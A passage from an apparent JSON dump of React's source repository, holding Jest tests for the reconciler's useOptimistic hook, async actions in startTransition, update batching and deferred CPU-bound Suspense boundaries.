</>,\n    );\n\n    // The cart size is incremented even though B hasn't been added yet.\n    await act(() => addItemToCart('B'));\n    assertLog([\n      'Increment optimistic cart size for B',\n      'Pending: true',\n      'Items in cart: 2',\n      'Item A',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: true</div>\n        <div>Items in cart: 2</div>\n        <ul>\n          <li>Item A</li>\n        </ul>\n      </>,\n    );\n\n    // While B is still pending, another item gets added to the cart\n    // out-of-band.\n    serverCart = [...serverCart, 'C'];\n    // NOTE: This is a synchronous update only because we don't yet support\n    // parallel transitions; all transitions are entangled together. Once we add\n    // support for parallel transitions, we can update this test.\n    ReactNoop.flushSync(() => root.render(<App cart={serverCart} />));\n    assertLog([\n      'Increment optimistic cart size for B',\n      'Pending: true',\n      // Note that the optimistic cart size is still correct, because the\n      // pending update was rebased on top new value.\n      'Items in cart: 3',\n      'Item A',\n      'Item C',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: true</div>\n        <div>Items in cart: 3</div>\n        <ul>\n          <li>Item A</li>\n          <li>Item C</li>\n        </ul>\n      </>,\n    );\n\n    // Finish loading B. The optimistic state is reverted.\n    await act(() => resolveText('Adding item B'));\n    assertLog([\n      'Pending: false',\n      'Items in cart: 3',\n      'Item A',\n      'Item C',\n      'Item B',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Pending: false</div>\n        <div>Items in cart: 3</div>\n        <ul>\n          <li>Item A</li>\n          <li>Item C</li>\n          <li>Item B</li>\n        </ul>\n      </>,\n    );\n  });\n\n  it('useOptimistic rebases if the passthrough is updated during a render phase update', async () => {\n    // This is kind of an esoteric case where it's hard to come up with a\n    // realistic real-world scenario but it should still work.\n    let increment;\n    let setCount;\n    function App() {\n      const [isPending, startTransition] = useTransition(2);\n      const [count, _setCount] = useState(0);\n      setCount = _setCount;\n\n      const [optimisticCount, setOptimisticCount] = useOptimistic(\n        count,\n        prev => {\n          Scheduler.log('Increment optimistic count');\n          return prev + 1;\n        },\n      );\n\n      if (count === 1) {\n        Scheduler.log('Render phase update count from 1 to 2');\n        setCount(2);\n      }\n\n      increment = () =>\n        startTransition(async () => {\n          setOptimisticCount(n => n + 1);\n          await getText('Wait to increment');\n          React.startTransition(() => setCount(n => n + 1));\n        });\n\n      return (\n        <>\n          <div>\n            <Text text={'Count: ' + count} />\n          </div>\n          {isPending ? (\n            <div>\n              <Text text={'Optimistic count: ' + optimisticCount} />\n            </div>\n          ) : null}\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n    assertLog(['Count: 0']);\n    expect(root).toMatchRenderedOutput(<div>Count: 0</div>);\n\n    await act(() => increment());\n    assertLog([\n      'Increment optimistic count',\n      'Count: 0',\n      'Optimistic count: 1',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Count: 0</div>\n        <div>Optimistic count: 1</div>\n      </>,\n    );\n\n    await act(() => setCount(1));\n    assertLog([\n      'Increment optimistic count',\n      'Render phase update count from 1 to 2',\n      // The optimistic update is rebased on top of the new passthrough value.\n      'Increment optimistic count',\n      'Count: 2',\n      'Optimistic count: 3',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Count: 2</div>\n        <div>Optimistic count: 3</div>\n      </>,\n    );\n\n    // Finish the action\n    await act(() => resolveText('Wait to increment'));\n    assertLog(['Count: 3']);\n    expect(root).toMatchRenderedOutput(<div>Count: 3</div>);\n  });\n\n  it('useOptimistic rebases if the passthrough is updated during a render phase update (initial mount)', async () => {\n    // This is kind of an esoteric case where it's hard to come up with a\n    // realistic real-world scenario but it should still work.\n    function App() {\n      const [count, setCount] = useState(0);\n      const [optimisticCount] = useOptimistic(count);\n\n      if (count === 0) {\n        Scheduler.log('Render phase update count from 1 to 2');\n        setCount(1);\n      }\n\n      return (\n        <>\n          <div>\n            <Text text={'Count: ' + count} />\n          </div>\n          <div>\n            <Text text={'Optimistic count: ' + optimisticCount} />\n          </div>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n    assertLog([\n      'Render phase update count from 1 to 2',\n      'Count: 1',\n      'Optimistic count: 1',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Count: 1</div>\n        <div>Optimistic count: 1</div>\n      </>,\n    );\n  });\n\n  it('useOptimistic can update repeatedly in the same async action', async () => {\n    let startTransition;\n    let setLoadingProgress;\n    let setText;\n    function App() {\n      const [, _startTransition] = useTransition();\n      const [text, _setText] = useState('A');\n      const [loadingProgress, _setLoadingProgress] = useOptimistic(0);\n      startTransition = _startTransition;\n      setText = _setText;\n      setLoadingProgress = _setLoadingProgress;\n\n      return (\n        <>\n          {loadingProgress !== 0 ? (\n            <div key=\"progress\">\n              <Text text={`Loading... (${loadingProgress})`} />\n            </div>\n          ) : null}\n          <div key=\"real\">\n            <Text text={text} />\n          </div>\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n    assertLog(['A']);\n    expect(root).toMatchRenderedOutput(<div>A</div>);\n\n    await act(async () => {\n      startTransition(async () => {\n        setLoadingProgress('25%');\n        await getText('Wait 1');\n        setLoadingProgress('75%');\n        await getText('Wait 2');\n        startTransition(() => setText('B'));\n      });\n    });\n    assertLog(['Loading... (25%)', 'A']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Loading... (25%)</div>\n        <div>A</div>\n      </>,\n    );\n\n    await act(() => resolveText('Wait 1'));\n    assertLog(['Loading... (75%)', 'A']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Loading... (75%)</div>\n        <div>A</div>\n      </>,\n    );\n\n    await act(() => resolveText('Wait 2'));\n    assertLog(['B']);\n    expect(root).toMatchRenderedOutput(<div>B</div>);\n  });\n\n  it('useOptimistic warns if outside of a transition', async () => {\n    let startTransition;\n    let setLoadingProgress;\n    let setText;\n    function App() {\n      const [, _startTransition] = useTransition();\n      const [text, _setText] = useState('A');\n      const [loadingProgress, _setLoadingProgress] = useOptimistic(0);\n      startTransition = _startTransition;\n      setText = _setText;\n      setLoadingProgress = _setLoadingProgress;\n\n      return (\n        <>\n          {loadingProgress !== 0 ? (\n            <div key=\"progress\">\n              <Text text={`Loading... (${loadingProgress})`} />\n            </div>\n          ) : null}\n          <div key=\"real\">\n            <Text text={text} />\n          </div>\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n    assertLog(['A']);\n    expect(root).toMatchRenderedOutput(<div>A</div>);\n\n    await act(() => {\n      setLoadingProgress('25%');\n      startTransition(() => setText('B'));\n    });\n    assertConsoleErrorDev([\n      'An optimistic state update occurred outside a transition or ' +\n        'action. To fix, move the update to an action, or wrap ' +\n        'with startTransition.',\n    ]);\n    assertLog(['Loading... (25%)', 'A', 'B']);\n    expect(root).toMatchRenderedOutput(<div>B</div>);\n  });\n\n  it(\n    'optimistic state is not reverted until async action finishes, even if ' +\n      'useTransition hook is unmounted',\n    async () => {\n      let startTransition;\n      function Updater() {\n        const [isPending, _start] = useTransition();\n        startTransition = _start;\n        return (\n          <span>\n            <Text text={'Pending: ' + isPending} />\n          </span>\n        );\n      }\n\n      let setText;\n      let setOptimisticText;\n      function Sibling() {\n        const [canonicalText, _setText] = useState('A');\n        setText = _setText;\n\n        const [text, _setOptimisticText] = useOptimistic(\n          canonicalText,\n          (_, optimisticText) => `${optimisticText} (loading...)`,\n        );\n        setOptimisticText = _setOptimisticText;\n\n        return (\n          <span>\n            <Text text={text} />\n          </span>\n        );\n      }\n\n      function App({showUpdater}) {\n        return (\n          <>\n            {showUpdater ? <Updater /> : null}\n            <Sibling />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App showUpdater={true} />);\n      });\n      assertLog(['Pending: false', 'A']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: false</span>\n          <span>A</span>\n        </>,\n      );\n\n      // Start an async action that has multiple updates with async\n      // operations in between.\n      await act(() => {\n        startTransition(async () => {\n          Scheduler.log('Async action started');\n\n          setOptimisticText('C');\n\n          startTransition(() => setText('B'));\n\n          await getText('Wait before updating to C');\n\n          Scheduler.log('Async action ended');\n          startTransition(() => setText('C'));\n        });\n      });\n      assertLog([\n        'Async action started',\n        'Pending: true',\n        // Render an optimistic value\n        'C (loading...)',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: true</span>\n          <span>C (loading...)</span>\n        </>,\n      );\n\n      // Delete the component that contains the useTransition hook. This\n      // component no longer blocks the transition from completing. But the\n      // we're still showing an optimistic state, because the async action has\n      // not yet finished.\n      await act(() => {\n        root.render(<App showUpdater={false} />);\n      });\n      assertLog(['C (loading...)']);\n      expect(root).toMatchRenderedOutput(<span>C (loading...)</span>);\n\n      // Finish the async action. Now the optimistic state is reverted and we\n      // switch to the canonical value.\n      await act(() => resolveText('Wait before updating to C'));\n      assertLog(['Async action ended', 'C']);\n      expect(root).toMatchRenderedOutput(<span>C</span>);\n    },\n  );\n\n  it(\n    'updates in an async action are entangled even if useTransition hook ' +\n      'is unmounted before it finishes',\n    async () => {\n      let startTransition;\n      function Updater() {\n        const [isPending, _start] = useTransition();\n        startTransition = _start;\n        return (\n          <span>\n            <Text text={'Pending: ' + isPending} />\n          </span>\n        );\n      }\n\n      let setText;\n      function Sibling() {\n        const [text, _setText] = useState('A');\n        setText = _setText;\n        return (\n          <span>\n            <Text text={text} />\n          </span>\n        );\n      }\n\n      function App({showUpdater}) {\n        return (\n          <>\n            {showUpdater ? <Updater /> : null}\n            <Sibling />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App showUpdater={true} />);\n      });\n      assertLog(['Pending: false', 'A']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: false</span>\n          <span>A</span>\n        </>,\n      );\n\n      // Start an async action that has multiple updates with async\n      // operations in between.\n      await act(() => {\n        startTransition(async () => {\n          Scheduler.log('Async action started');\n          startTransition(() => setText('B'));\n\n          await getText('Wait before updating to C');\n\n          Scheduler.log('Async action ended');\n          startTransition(() => setText('C'));\n        });\n      });\n      assertLog(['Async action started', 'Pending: true']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: true</span>\n          <span>A</span>\n        </>,\n      );\n\n      // Delete the component that contains the useTransition hook. This\n      // component no longer blocks the transition from completing. But the\n      // pending update to Sibling should not be allowed to finish, because it's\n      // part of the async action.\n      await act(() => {\n        root.render(<App showUpdater={false} />);\n      });\n      assertLog(['A']);\n      expect(root).toMatchRenderedOutput(<span>A</span>);\n\n      // Finish the async action. Notice the intermediate B state was never\n      // shown, because it was batched with the update that came later in the\n      // same action.\n      await act(() => resolveText('Wait before updating to C'));\n      assertLog(['Async action ended', 'C']);\n      expect(root).toMatchRenderedOutput(<span>C</span>);\n    },\n  );\n\n  it(\n    'updates in an async action are entangled even if useTransition hook ' +\n      'is unmounted before it finishes (class component)',\n    async () => {\n      let startTransition;\n      function Updater() {\n        const [isPending, _start] = useTransition();\n        startTransition = _start;\n        return (\n          <span>\n            <Text text={'Pending: ' + isPending} />\n          </span>\n        );\n      }\n\n      let setText;\n      class Sibling extends React.Component {\n        state = {text: 'A'};\n        render() {\n          setText = text => this.setState({text});\n          return (\n            <span>\n              <Text text={this.state.text} />\n            </span>\n          );\n        }\n      }\n\n      function App({showUpdater}) {\n        return (\n          <>\n            {showUpdater ? <Updater /> : null}\n            <Sibling />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App showUpdater={true} />);\n      });\n      assertLog(['Pending: false', 'A']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: false</span>\n          <span>A</span>\n        </>,\n      );\n\n      // Start an async action that has multiple updates with async\n      // operations in between.\n      await act(() => {\n        startTransition(async () => {\n          Scheduler.log('Async action started');\n          startTransition(() => setText('B'));\n\n          await getText('Wait before updating to C');\n\n          Scheduler.log('Async action ended');\n          startTransition(() => setText('C'));\n        });\n      });\n      assertLog(['Async action started', 'Pending: true']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: true</span>\n          <span>A</span>\n        </>,\n      );\n\n      // Delete the component that contains the useTransition hook. This\n      // component no longer blocks the transition from completing. But the\n      // pending update to Sibling should not be allowed to finish, because it's\n      // part of the async action.\n      await act(() => {\n        root.render(<App showUpdater={false} />);\n      });\n      assertLog(['A']);\n      expect(root).toMatchRenderedOutput(<span>A</span>);\n\n      // Finish the async action. Notice the intermediate B state was never\n      // shown, because it was batched with the update that came later in the\n      // same action.\n      await act(() => resolveText('Wait before updating to C'));\n      assertLog(['Async action ended', 'C']);\n      expect(root).toMatchRenderedOutput(<span>C</span>);\n\n      // Check that subsequent updates are unaffected.\n      await act(() => setText('D'));\n      assertLog(['D']);\n      expect(root).toMatchRenderedOutput(<span>D</span>);\n    },\n  );\n\n  it(\n    'updates in an async action are entangled even if useTransition hook ' +\n      'is unmounted before it finishes (root update)',\n    async () => {\n      let startTransition;\n      function Updater() {\n        const [isPending, _start] = useTransition();\n        startTransition = _start;\n        return (\n          <span>\n            <Text text={'Pending: ' + isPending} />\n          </span>\n        );\n      }\n\n      let setShowUpdater;\n      function App({text}) {\n        const [showUpdater, _setShowUpdater] = useState(true);\n        setShowUpdater = _setShowUpdater;\n        return (\n          <>\n            {showUpdater ? <Updater /> : null}\n            <span>\n              <Text text={text} />\n            </span>\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App text=\"A\" />);\n      });\n      assertLog(['Pending: false', 'A']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: false</span>\n          <span>A</span>\n        </>,\n      );\n\n      // Start an async action that has multiple updates with async\n      // operations in between.\n      await act(() => {\n        startTransition(async () => {\n          Scheduler.log('Async action started');\n          startTransition(() => root.render(<App text=\"B\" />));\n\n          await getText('Wait before updating to C');\n\n          Scheduler.log('Async action ended');\n          startTransition(() => root.render(<App text=\"C\" />));\n        });\n      });\n      assertLog(['Async action started', 'Pending: true']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Pending: true</span>\n          <span>A</span>\n        </>,\n      );\n\n      // Delete the component that contains the useTransition hook. This\n      // component no longer blocks the transition from completing. But the\n      // pending update to Sibling should not be allowed to finish, because it's\n      // part of the async action.\n      await act(() => setShowUpdater(false));\n      assertLog(['A']);\n      expect(root).toMatchRenderedOutput(<span>A</span>);\n\n      // Finish the async action. Notice the intermediate B state was never\n      // shown, because it was batched with the update that came later in the\n      // same action.\n      await act(() => resolveText('Wait before updating to C'));\n      assertLog(['Async action ended', 'C']);\n      expect(root).toMatchRenderedOutput(<span>C</span>);\n\n      // Check that subsequent updates are unaffected.\n      await act(() => root.render(<App text=\"D\" />));\n      assertLog(['D']);\n      expect(root).toMatchRenderedOutput(<span>D</span>);\n    },\n  );\n\n  it('React.startTransition supports async actions', async () => {\n    const startTransition = React.startTransition;\n\n    function App({text}) {\n      return <Text text={text} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App text=\"A\" />);\n    });\n    assertLog(['A']);\n\n    await act(() => {\n      startTransition(async () => {\n        // Update to B\n        root.render(<App text=\"B\" />);\n\n        // There's an async gap before C is updated\n        await getText('Wait before updating to C');\n        root.render(<App text=\"C\" />);\n\n        Scheduler.log('Async action ended');\n      });\n    });\n    // The update to B is blocked because the async action hasn't completed yet.\n    assertLog([]);\n    expect(root).toMatchRenderedOutput('A');\n\n    // Finish the async action\n    await act(() => resolveText('Wait before updating to C'));\n\n    // Now both B and C can finish in a single batch.\n    assertLog(['Async action ended', 'C']);\n    expect(root).toMatchRenderedOutput('C');\n  });\n\n  it('useOptimistic works with async actions passed to React.startTransition', async () => {\n    const startTransition = React.startTransition;\n\n    let setOptimisticText;\n    function App({text: canonicalText}) {\n      const [text, _setOptimisticText] = useOptimistic(\n        canonicalText,\n        (_, optimisticText) => `${optimisticText} (loading...)`,\n      );\n      setOptimisticText = _setOptimisticText;\n      return (\n        <span>\n          <Text text={text} />\n        </span>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App text=\"Initial\" />);\n    });\n    assertLog(['Initial']);\n    expect(root).toMatchRenderedOutput(<span>Initial</span>);\n\n    // Start an async action using the non-hook form of startTransition. The\n    // action includes an optimistic update.\n    await act(() => {\n      startTransition(async () => {\n        Scheduler.log('Async action started');\n        setOptimisticText('Updated');\n        await getText('Yield before updating');\n        Scheduler.log('Async action ended');\n        startTransition(() => root.render(<App text=\"Updated\" />));\n      });\n    });\n    // Because the action hasn't finished yet, the optimistic UI is shown.\n    assertLog(['Async action started', 'Updated (loading...)']);\n    expect(root).toMatchRenderedOutput(<span>Updated (loading...)</span>);\n\n    // Finish the async action. The optimistic state is reverted and replaced by\n    // the canonical state.\n    await act(() => resolveText('Yield before updating'));\n    assertLog(['Async action ended', 'Updated']);\n    expect(root).toMatchRenderedOutput(<span>Updated</span>);\n  });\n\n  it(\n    'regression: updates in an action passed to React.startTransition are batched ' +\n      'even if there were no updates before the first await',\n    async () => {\n      // Regression for a bug that occurred in an older, too-clever-by-half\n      // implementation of the isomorphic startTransition API. Now, the\n      // isomorphic startTransition is literally the composition of every\n      // reconciler instance's startTransition, so the behavior is less likely\n      // to regress in the future.\n      const startTransition = React.startTransition;\n\n      let setOptimisticText;\n      function App({text: canonicalText}) {\n        const [text, _setOptimisticText] = useOptimistic(\n          canonicalText,\n          (_, optimisticText) => `${optimisticText} (loading...)`,\n        );\n        setOptimisticText = _setOptimisticText;\n        return (\n          <span>\n            <Text text={text} />\n          </span>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App text=\"Initial\" />);\n      });\n      assertLog(['Initial']);\n      expect(root).toMatchRenderedOutput(<span>Initial</span>);\n\n      // Start an async action using the non-hook form of startTransition. The\n      // action includes an optimistic update.\n      await act(() => {\n        startTransition(async () => {\n          Scheduler.log('Async action started');\n\n          // Yield to an async task *before* any updates have occurred.\n          await getText('Yield before optimistic update');\n\n          // This optimistic update happens after an async gap. In the\n          // regression case, this update was not correctly associated with\n          // the outer async action, causing the optimistic update to be\n          // immediately reverted.\n          setOptimisticText('Updated');\n\n          await getText('Yield before updating');\n          Scheduler.log('Async action ended');\n          startTransition(() => root.render(<App text=\"Updated\" />));\n        });\n      });\n      assertLog(['Async action started']);\n\n      // Wait for an async gap, then schedule an optimistic update.\n      await act(() => resolveText('Yield before optimistic update'));\n\n      // Because the action hasn't finished yet, the optimistic UI is shown.\n      assertLog(['Updated (loading...)']);\n      expect(root).toMatchRenderedOutput(<span>Updated (loading...)</span>);\n\n      // Finish the async action. The optimistic state is reverted and replaced\n      // by the canonical state.\n      await act(() => resolveText('Yield before updating'));\n      assertLog(['Async action ended', 'Updated']);\n      expect(root).toMatchRenderedOutput(<span>Updated</span>);\n    },\n  );\n\n  it('React.startTransition captures async errors and passes them to reportError', async () => {\n    await act(() => {\n      React.startTransition(async () => {\n        throw new Error('Oops');\n      });\n    });\n    assertLog(['reportError: Oops']);\n  });\n\n  it('React.startTransition captures sync errors and passes them to reportError', async () => {\n    await act(() => {\n      try {\n        React.startTransition(() => {\n          throw new Error('Oops');\n        });\n      } catch (e) {\n        throw new Error('Should not be reachable.');\n      }\n    });\n    assertLog(['reportError: Oops']);\n  });\n\n  // @gate enableOptimisticKey\n  it('reconciles against new items when optimisticKey is used', async () => {\n    const startTransition = React.startTransition;\n\n    function Item({text}) {\n      const [initialText] = React.useState(text);\n      return <span>{initialText + '-' + text}</span>;\n    }\n\n    let addOptimisticItem;\n    function App({items}) {\n      const [optimisticItems, _addOptimisticItem] = useOptimistic(\n        items,\n        (canonicalItems, optimisticText) =>\n          canonicalItems.concat({\n            id: React.optimisticKey,\n            text: optimisticText,\n          }),\n      );\n      addOptimisticItem = _addOptimisticItem;\n      return (\n        <div>\n          {optimisticItems.map(item => (\n            <Item key={item.id} text={item.text} />\n          ))}\n        </div>\n      );\n    }\n\n    const A = {\n      id: 'a',\n      text: 'A',\n    };\n\n    const B = {\n      id: 'b',\n      text: 'B',\n    };\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App items={[A]} />);\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <span>A-A</span>\n      </div>,\n    );\n\n    // Start an async action using the non-hook form of startTransition. The\n    // action includes an optimistic update.\n    await act(() => {\n      startTransition(async () => {\n        addOptimisticItem('b');\n        await getText('Yield before updating');\n        startTransition(() => root.render(<App items={[A, B]} />));\n      });\n    });\n    // Because the action hasn't finished yet, the optimistic UI is shown.\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <span>A-A</span>\n        <span>b-b</span>\n      </div>,\n    );\n\n    // Finish the async action. The optimistic state is reverted and replaced by\n    // the canonical state. The state is transferred to the new row.\n    await act(() => {\n      resolveText('Yield before updating');\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <span>A-A</span>\n        <span>b-B</span>\n      </div>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactBatching-test.internal.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet waitForAll;\nlet assertLog;\nlet ReactCache;\nlet Suspense;\nlet TextResource;\nlet act;\n\ndescribe('ReactBlockingMode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    ReactCache = require('react-cache');\n    Suspense = React.Suspense;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    act = InternalTestUtils.act;\n\n    TextResource = ReactCache.unstable_createResource(\n      ([text, ms = 0]) => {\n        return new Promise((resolve, reject) =>\n          setTimeout(() => {\n            Scheduler.log(`Promise resolved [${text}]`);\n            resolve(text);\n          }, ms),\n        );\n      },\n      ([text, ms]) => text,\n    );\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return props.text;\n  }\n\n  function AsyncText(props) {\n    const text = props.text;\n    try {\n      TextResource.read([props.text, props.ms]);\n      Scheduler.log(text);\n      return props.text;\n    } catch (promise) {\n      if (typeof promise.then === 'function') {\n        Scheduler.log(`Suspend! [${text}]`);\n      } else {\n        Scheduler.log(`Error! [${text}]`);\n      }\n      throw promise;\n    }\n  }\n\n  it('updates flush without yielding in the next event', async () => {\n    const root = ReactNoop.createRoot();\n\n    root.render(\n      <>\n        <Text text=\"A\" />\n        <Text text=\"B\" />\n        <Text text=\"C\" />\n      </>,\n    );\n\n    // Nothing should have rendered yet\n    expect(root).toMatchRenderedOutput(null);\n\n    await waitForAll(['A', 'B', 'C']);\n    expect(root).toMatchRenderedOutput('ABC');\n  });\n\n  it('layout updates flush synchronously in same event', async () => {\n    const {useLayoutEffect} = React;\n\n    function App() {\n      useLayoutEffect(() => {\n        Scheduler.log('Layout effect');\n      });\n      return <Text text=\"Hi\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n    expect(root).toMatchRenderedOutput(null);\n    assertLog([]);\n\n    await waitForAll(['Hi', 'Layout effect']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('uses proper Suspense semantics, not legacy ones', async () => {\n    const root = ReactNoop.createRoot();\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <span>\n          <Text text=\"A\" />\n        </span>\n        <span>\n          <AsyncText text=\"B\" />\n        </span>\n        <span>\n          <Text text=\"C\" />\n        </span>\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading...',\n      // pre-warming\n      'A',\n      'Suspend! [B]',\n      'C',\n    ]);\n    // In Legacy Mode, A and B would mount in a hidden primary tree. In\n    // Concurrent Mode, nothing in the primary tree should mount. But the\n    // fallback should mount immediately.\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [B]', 'A', 'B', 'C']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  it('flushSync does not flush batched work', async () => {\n    const {useState, forwardRef, useImperativeHandle} = React;\n    const root = ReactNoop.createRoot();\n\n    const Foo = forwardRef(({label}, ref) => {\n      const [step, setStep] = useState(0);\n      useImperativeHandle(ref, () => ({setStep}));\n      return <Text text={label + step} />;\n    });\n\n    const foo1 = React.createRef(null);\n    const foo2 = React.createRef(null);\n    root.render(\n      <>\n        <Foo label=\"A\" ref={foo1} />\n        <Foo label=\"B\" ref={foo2} />\n      </>,\n    );\n\n    await waitForAll(['A0', 'B0']);\n    expect(root).toMatchRenderedOutput('A0B0');\n\n    // Schedule a batched update to the first sibling\n    ReactNoop.batchedUpdates(() => foo1.current.setStep(1));\n\n    // Before it flushes, update the second sibling inside flushSync\n    ReactNoop.batchedUpdates(() =>\n      ReactNoop.flushSync(() => {\n        foo2.current.setStep(1);\n      }),\n    );\n\n    // Now flush the first update\n    assertLog(['A1', 'B1']);\n    expect(root).toMatchRenderedOutput('A1B1');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactCPUSuspense-test.js",
    "content": "/* eslint-disable react/jsx-boolean-value */\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Suspense;\nlet useState;\nlet textCache;\n\nlet readText;\nlet resolveText;\n// let rejectText;\n\nlet assertLog;\nlet waitForPaint;\n\ndescribe('ReactSuspenseWithNoopRenderer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    Suspense = React.Suspense;\n    useState = React.useState;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitForPaint = InternalTestUtils.waitForPaint;\n\n    textCache = new Map();\n\n    readText = text => {\n      const record = textCache.get(text);\n      if (record !== undefined) {\n        switch (record.status) {\n          case 'pending':\n            throw record.promise;\n          case 'rejected':\n            throw Error('Failed to load: ' + text);\n          case 'resolved':\n            return text;\n        }\n      } else {\n        let ping;\n        const promise = new Promise(resolve => (ping = resolve));\n        const newRecord = {\n          status: 'pending',\n          ping: ping,\n          promise,\n        };\n        textCache.set(text, newRecord);\n        throw promise;\n      }\n    };\n\n    resolveText = text => {\n      const record = textCache.get(text);\n      if (record !== undefined) {\n        if (record.status === 'pending') {\n          record.ping();\n          record.ping = null;\n          record.status = 'resolved';\n          record.promise = null;\n        }\n      } else {\n        const newRecord = {\n          ping: null,\n          status: 'resolved',\n          promise: null,\n        };\n        textCache.set(text, newRecord);\n      }\n    };\n\n    // rejectText = text => {\n    //   const record = textCache.get(text);\n    //   if (record !== undefined) {\n    //     if (record.status === 'pending') {\n    //       Scheduler.log(`Promise rejected [${text}]`);\n    //       record.ping();\n    //       record.status = 'rejected';\n    //       clearTimeout(record.promise._timer);\n    //       record.promise = null;\n    //     }\n    //   } else {\n    //     const newRecord = {\n    //       ping: null,\n    //       status: 'rejected',\n    //       promise: null,\n    //     };\n    //     textCache.set(text, newRecord);\n    //   }\n    // };\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return props.text;\n  }\n\n  function AsyncText(props) {\n    const text = props.text;\n    try {\n      readText(text);\n      Scheduler.log(text);\n      return text;\n    } catch (promise) {\n      if (typeof promise.then === 'function') {\n        Scheduler.log(`Suspend! [${text}]`);\n      } else {\n        Scheduler.log(`Error! [${text}]`);\n      }\n      throw promise;\n    }\n  }\n\n  // @gate enableCPUSuspense\n  it('skips CPU-bound trees on initial mount', async () => {\n    function App() {\n      return (\n        <>\n          <Text text=\"Outer\" />\n          <div>\n            <Suspense defer fallback={<Text text=\"Loading...\" />}>\n              <Text text=\"Inner\" />\n            </Suspense>\n          </div>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<App />);\n      await waitForPaint(['Outer', 'Loading...']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          Outer\n          <div>Loading...</div>\n        </>,\n      );\n    });\n    // Inner contents finish in separate commit from outer\n    assertLog(['Inner']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        Outer\n        <div>Inner</div>\n      </>,\n    );\n  });\n\n  // @gate enableCPUSuspense\n  it('does not skip CPU-bound trees during updates', async () => {\n    let setCount;\n\n    function App() {\n      const [count, _setCount] = useState(0);\n      setCount = _setCount;\n      return (\n        <>\n          <Text text=\"Outer\" />\n          <div>\n            <Suspense defer fallback={<Text text=\"Loading...\" />}>\n              <Text text={`Inner [${count}]`} />\n            </Suspense>\n          </div>\n        </>\n      );\n    }\n\n    // Initial mount\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    // Inner contents finish in separate commit from outer\n    assertLog(['Outer', 'Loading...', 'Inner [0]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        Outer\n        <div>Inner [0]</div>\n      </>,\n    );\n\n    // Update\n    await act(() => {\n      setCount(1);\n    });\n    // Entire update finishes in a single commit\n    assertLog(['Outer', 'Inner [1]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        Outer\n        <div>Inner [1]</div>\n      </>,\n    );\n  });\n\n  // @gate enableCPUSuspense\n  it('suspend inside CPU-bound tree', async () => {\n    function App() {\n      return (\n        <>\n          <Text text=\"Outer\" />\n          <div>\n  